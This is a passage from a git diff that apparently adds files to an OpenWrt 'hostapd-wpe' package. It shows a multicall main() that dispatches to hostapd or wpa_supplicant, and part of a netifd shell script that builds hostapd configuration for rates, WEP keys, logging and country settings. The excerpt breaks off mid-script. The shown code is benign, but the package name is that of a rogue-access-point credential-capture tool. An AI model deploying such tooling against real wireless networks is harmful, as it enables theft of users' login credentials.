wpa_supplicant_main(int argc, char **argv); + +int main(int argc, char **argv) +{ + bool restart = false; + const char *prog = argv[0]; + +restart: + if (strstr(argv[0], "hostapd")) + return hostapd_main(argc, argv); + else if (strstr(argv[0], "wpa_supplicant")) + return wpa_supplicant_main(argc, argv); + + if (!restart && argc > 1) { + argv++; + argc--; + restart = true; + goto restart; + } + + fprintf(stderr, "Invalid command.\nUsage: %s wpa_supplicant|hostapd []\n", prog); + return 255; +} diff --git a/hostapd-wpe/files/.svn/text-base/netifd.sh.svn-base b/hostapd-wpe/files/.svn/text-base/netifd.sh.svn-base new file mode 100644 index 0000000..30d12e9 --- /dev/null +++ b/hostapd-wpe/files/.svn/text-base/netifd.sh.svn-base @@ -0,0 +1,614 @@ +hostapd_add_rate() { + local var="$1" + local val="$(($2 / 1000))" + local sub="$((($2 / 100) % 10))" + append $var "$val" "," + [ $sub -gt 0 ] && append $var "." +} + +hostapd_add_basic_rate() { + local var="$1" + local val="$(($2 / 100))" + append $var "$val" " " +} + +hostapd_append_wep_key() { + local var="$1" + + wep_keyidx=0 + set_default key 1 + case "$key" in + [1234]) + for idx in 1 2 3 4; do + local zidx + zidx=$(($idx - 1)) + json_get_var ckey "key${idx}" + [ -n "$ckey" ] && \ + append $var "wep_key${zidx}=$(prepare_key_wep "$ckey")" "$N$T" + done + wep_keyidx=$((key - 1)) + ;; + *) + append $var "wep_key0=$(prepare_key_wep "$key")" "$N$T" + ;; + esac +} + +hostapd_add_log_config() { + config_add_boolean \ + log_80211 \ + log_8021x \ + log_radius \ + log_wpa \ + log_driver \ + log_iapp \ + log_mlme + + config_add_int log_level +} + +hostapd_common_add_device_config() { + config_add_array basic_rate + + config_add_string country + config_add_boolean country_ie doth + config_add_string require_mode + + hostapd_add_log_config +} + +hostapd_prepare_device_config() { + local config="$1" + local driver="$2" + + local base="${config%%.conf}" + local base_cfg= + + json_get_vars country country_ie beacon_int doth require_mode + + hostapd_set_log_options base_cfg + + set_default country_ie 1 + set_default doth 1 + + [ -n "$country" ] && { + append base_cfg "country_code=$country" "$N" + + [ "$country_ie" -gt 0 ] && append base_cfg "ieee80211d=1" "$N" + [ "$hwmode" = "a" -a "$doth" -gt 0 ] && append base_cfg "ieee80211h=1" "$N" + } + [ -n "$hwmode" ] && append base_cfg "hw_mode=$hwmode" "$N" + + local brlist= br + json_get_values basic_rate_list basic_rate + for br in $basic_rate_list; do + hostapd_add_basic_rate brlist "$br" + done + case "$require_mode" in + g) brlist="60 120 240" ;; + n) append base_cfg "require_ht=1" "$N";; + ac) append base_cfg "require_vht=1" "$N";; + esac + [ -n "$brlist" ] && append base_cfg "basic_rates=$brlist" "$N" + [ -n "$beacon_int" ] && append base_cfg "beacon_int=$beacon_int" "$N" + + cat > "$config" <
: